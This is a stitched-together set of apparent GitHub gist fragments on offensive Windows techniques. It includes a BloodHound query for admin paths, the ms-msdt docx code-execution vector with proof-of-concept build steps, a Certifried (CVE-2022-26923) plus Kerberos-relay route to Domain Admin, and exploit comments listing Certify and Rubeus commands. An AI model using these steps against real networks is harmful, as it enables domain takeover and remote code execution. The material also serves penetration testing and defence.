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Computer accounts added to local admins on machines via a group in the local admins
MATCH p1 = (c1:Computer)-[r:MemberOf*1..]->(g1:Group)
WITH c1,g1
MATCH p2 = (g1:Group)-[r:AdminTo]->(c2:Computer)
RETURN c1.name As Principal,c2.name AS Target,g1.name AS ViaGroup
Computer accounts added to local admins on machines explicitly
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MS Office docx files may contain external OLE Object references as HTML files. There is an HTML sceme "ms-msdt:" which invokes the msdt diagnostic tool, what is capable of executing arbitrary code (specified in parameters).
The result is a terrifying attack vector for getting RCE through opening malicious docx files (without using macros).
Here are the steps to build a Proof-of-Concept docx:
Open Word (used up-to-date 2019 Pro, 16.0.10386.20017), create a dummy document, insert an (OLE) object (as a Bitmap Image), save it in docx.
Certifried (CVE-2022-26923) gives Domain Admin from non-privileged user with the requirement adding computer accounts
or owning a computer account. Kerberos Relay targeting LDAP and Shadow Credentials gives a non-privileged domain user
on a domain-joined machine local admin access on (aka owning) the machine. Combination of these two: non-privileged
domain user escalating to Domain Admin without the requirement adding/owning computer accounts.
The attack below uses only Windows (no Linux tools interacting with the Domain), simulating a real-world attack scenario.
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// Exploit for Active Directory Domain Privilege Escalation (CVE-2022–26923)
// Author: @domchell - MDSec
// This exploit can be used to update the relveant AD attributes required to enroll in a machine template as any machine in AD using an existing machine account
// Adjusting MS-DS-Machine-Account-Quota is not sufficient to stop this attack :)
// Steps:
// 1. Escalate on any workstation (hint: krbrelayup ftw)
// 2. Execute UpdateMachineAccount.exe as SYSTEM
// 3. Enroll in machine template e.g. (Certify.exe request /ca:"ca.evil.corp\\CA" /template:Computer /machine /subject:CN=dc.evil.corp
// 4. Request a TGT using the certificate e.g. (Rubeus.exe asktgt /user:dc$ /domain:evil.corp /dc:dc.evil.corp /certificate:<base64 cert> /enctype:AES256)
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This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
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This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
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